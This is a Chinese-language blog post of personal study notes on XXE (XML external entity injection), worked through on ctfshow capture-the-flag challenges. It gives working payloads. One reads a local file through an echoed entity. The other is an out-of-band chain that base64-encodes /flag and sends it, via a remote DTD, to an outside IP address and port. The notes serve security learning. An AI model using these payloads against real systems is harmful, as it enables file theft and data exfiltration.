主页 > 游戏开发  > 

【心得】XXE漏洞利用个人笔记

【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父  3个叔父  8个堂弟堂妹   

<祖父>

    <叔父1>         <堂兄1>     </叔父1>

    <叔父2>      <堂兄2>         </叔父2>

    <叔父3>

     <堂兄3>     </叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[     <!ENTITY hacker SYSTEM "file:///flag"> ]> 

<root>     <ctfshow>         &hacker;     </ctfshow> </root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?> <root> <ctfshow> hacker </ctfshow> </root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[ <!ENTITY hacker SYSTEM "file:///flag"> ]> <root> <ctfshow> &hacker; </ctfshow> </root>

 这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

 无回显点,考虑数据外带

 post传

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[     <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">     <!ENTITY  % myurl SYSTEM "http://124.222.136.33/test.dtd">     %myurl; ]>  <root> 1 </root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> "> %dtd; %vps;

vps监听1337端口即可

标签:

【心得】XXE漏洞利用个人笔记由讯客互联游戏开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【心得】XXE漏洞利用个人笔记